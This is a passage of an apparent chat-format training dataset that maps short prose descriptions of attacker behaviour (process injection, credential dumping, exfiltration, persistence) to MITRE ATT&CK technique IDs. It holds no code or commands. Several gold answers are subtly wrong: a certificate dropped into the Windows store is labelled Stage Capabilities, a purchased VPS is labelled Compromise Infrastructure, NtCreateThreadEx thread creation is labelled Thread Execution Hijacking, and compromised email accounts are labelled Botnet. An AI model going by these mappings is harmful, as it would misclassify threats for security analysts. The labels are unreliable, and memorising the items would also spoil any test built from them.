                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker established a botnet of compromised email accounts to send spear‑phishing emails at scale."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a web socket over port 8080 to stream encrypted exfiltration data, masking it as real‑time application traffic."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a covert Wi‑Fi hotspot to transmit data to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape publicly posted credential leaks and merge them with internal data to build victim identity profiles."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary calls the NetShareEnum API function to retrieve a list of shared directories from a target system."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing campaign included steps to erase mailbox data, deleting all stored emails."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits Google Cloud IAP tunneling to access internal servers over HTTPS, bypassing traditional remote access controls."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder installs a launch daemon that disables firewall rules by executing privileged commands during boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a polymorphic malware loader to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation phase involved creating a Golden Ticket using the KRBTGT hash to maintain long-term access to the domain."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses legitimate cloud storage APIs (e.g., Dropbox, Google Drive) as a web service to receive instructions and upload stolen files."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module runs mshta to interpret a malicious HTA script that establishes persistence through a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a payload named \"outlook.exe\" placed in the user's AppData\\Roaming directory, mimicking the legitimate Outlook executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures user credentials during the login process, re‑encrypts them with a reversible algorithm, and stores the encrypted blobs for future decryption and abuse."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise introduced code that automatically set up an email delegate for the attacker's account on every newly created user mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a persistent channel using a legitimate web service API, allowing them to exchange commands and exfiltrate data bidirectionally over HTTP/HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Session hijacking to take control of user sessions after login"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a cloud‑based messaging service as a bidirectional conduit, sending commands to infected machines and receiving data responses through the same HTTP(S) channel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by placing a malicious executable in the Windows System32 directory and creating a corresponding Service entry."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a malicious Word template (.dotx) containing a macro that runs automatically when a user creates a new document, downloading a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the NtUnmapViewOfSection and WriteProcessMemory functions, the attacker replaces the in-memory image of a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the Windows utility regsvcs.exe to load a malicious .NET assembly, causing the assembly's code to execute with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a self‑signed certificate into the Windows certificate store to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PowerShell to invoke the Azure REST API, deleting resource group VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder queries the container orchestrator's API to collect details about deployed services and resource quotas."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator extracted data from Confluence by abusing the 'Export to PDF' function on multiple pages."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a PowerShell script that streams data slowly, ensuring each packet is below the size limit enforced by security appliances."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After purchasing a VPC instance, the attacker uploaded malicious Docker images to host ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employed a benign system binary with command-line arguments that trigger execution of a hidden script, achieving indirect command execution without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the adversary obtains the SSH private key of a privileged account and establishes a new SSH connection, effectively hijacking the remote service session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit disables the hardware random number generator, weakening the entropy for key generation and compromising encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploited a misconfigured S3 bucket policy to list and download all objects, including database backups."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script copies a self‑signed certificate into the Trusted Publishers store, enabling stealthy execution of malicious code."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary created a custom listener on WinRM to receive encrypted command traffic from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool converts command output to Base64 strings before writing them to a log file."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator manually provisions a new user in the organization's cloud tenant to simulate insider threat."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use steganography to embed data in images, each image kept under a 200 KB size restriction."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload issues an LDAP query for '(objectCategory=person)' to enumerate domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a cloud‑based file sharing service, storing command files that the implant periodically downloads to receive updates."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses AppleScript to automate the opening of Safari and navigates to a phishing site to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed TeamViewer on the victim’s workstation to establish a persistent remote control channel."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the system's OpenSSL library with a modified version that disables AES-256 encryption, causing all subsequent communications to use weaker 3DES encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses NtCreateThreadEx to spawn a new thread inside another process, allowing it to execute its code under the target process’s context."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds malicious scripts into PDF metadata, which are extracted and run during file parsing."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the malware removes its autorun entries from HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the \"runas\" command with saved credentials to launch a process as a different, higher‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a custom Python script to log into the victim's OWA portal and scrape email bodies for credential information."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulated the cloud management console's UI to submit a hidden form that registers a new privileged account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution of hostnames allows the malware to adapt to network segmentation by discovering reachable internal servers."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious DLL is installed as a printer driver and loaded by the Print Spooler service on system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group leverages Bing and Yahoo search results to identify misconfigured cloud storage buckets linked to the organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a server-side template injection, the threat actor writes a web shell to the web root for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit calls the Windows API function WriteProcessMemory to inject code, relying on native functions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script adds the /SAFEBOOT:NETWORK switch to the boot loader, causing the system to launch in Safe Mode and bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the GitHub API rate limits to stealthily download private repositories over an extended period."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised signing certificate to issue malicious SAML assertions that grant them read/write access to sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers automatic Bluetooth file sharing on a Windows machine, moving sensitive spreadsheets to the attacker's Bluetooth receiver."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary floods a Windows service with RPC calls that trigger extensive file system operations, exhausting disk I/O bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs Extra Window Memory Injection, allocating memory in a secondary GUI window of a legitimate application and executing malicious code via APC."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation toolkit uses WMI queries to enumerate running processes and retrieve system information."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a server, the threat group placed logs and database dumps into a staging folder on the same host."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs DNS zone transfers and searches archived passive DNS logs to discover hidden hosts."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor runs a batch file to establish a fresh local account on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquire a compromised IoT device to use its network connectivity for pivoting."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Power\\User\\PowerSettings to disable hibernation."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains system credentials by reading the shadow file and the passwd file on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script injected into a popular forum harvested OAuth refresh tokens for users' Discord accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor drops a password filter DLL that captures plaintext passwords and sends them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker group exploits SEO poisoning by embedding base64‑encoded malicious scripts in SEO‑rich blog posts that rank for popular queries, resulting in drive‑by exploitation when users click the search link."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into LSASS to dump password hashes from its memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses the Windows API to list shared folders and recursively reads confidential PDFs."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the 'net user' command on a compromised host to enumerate all local users."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party vendor's server was used to pivot into the target organization’s internal network, allowing lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious loadable kernel module (LKM) is installed and set to be automatically loaded during the boot process for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group writes a malicious driver that exploits a kernel vulnerability to hide their presence on the host."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages the Native API function NtOpenProcess to gain handles to privileged processes for credential dumping."
            },
            {
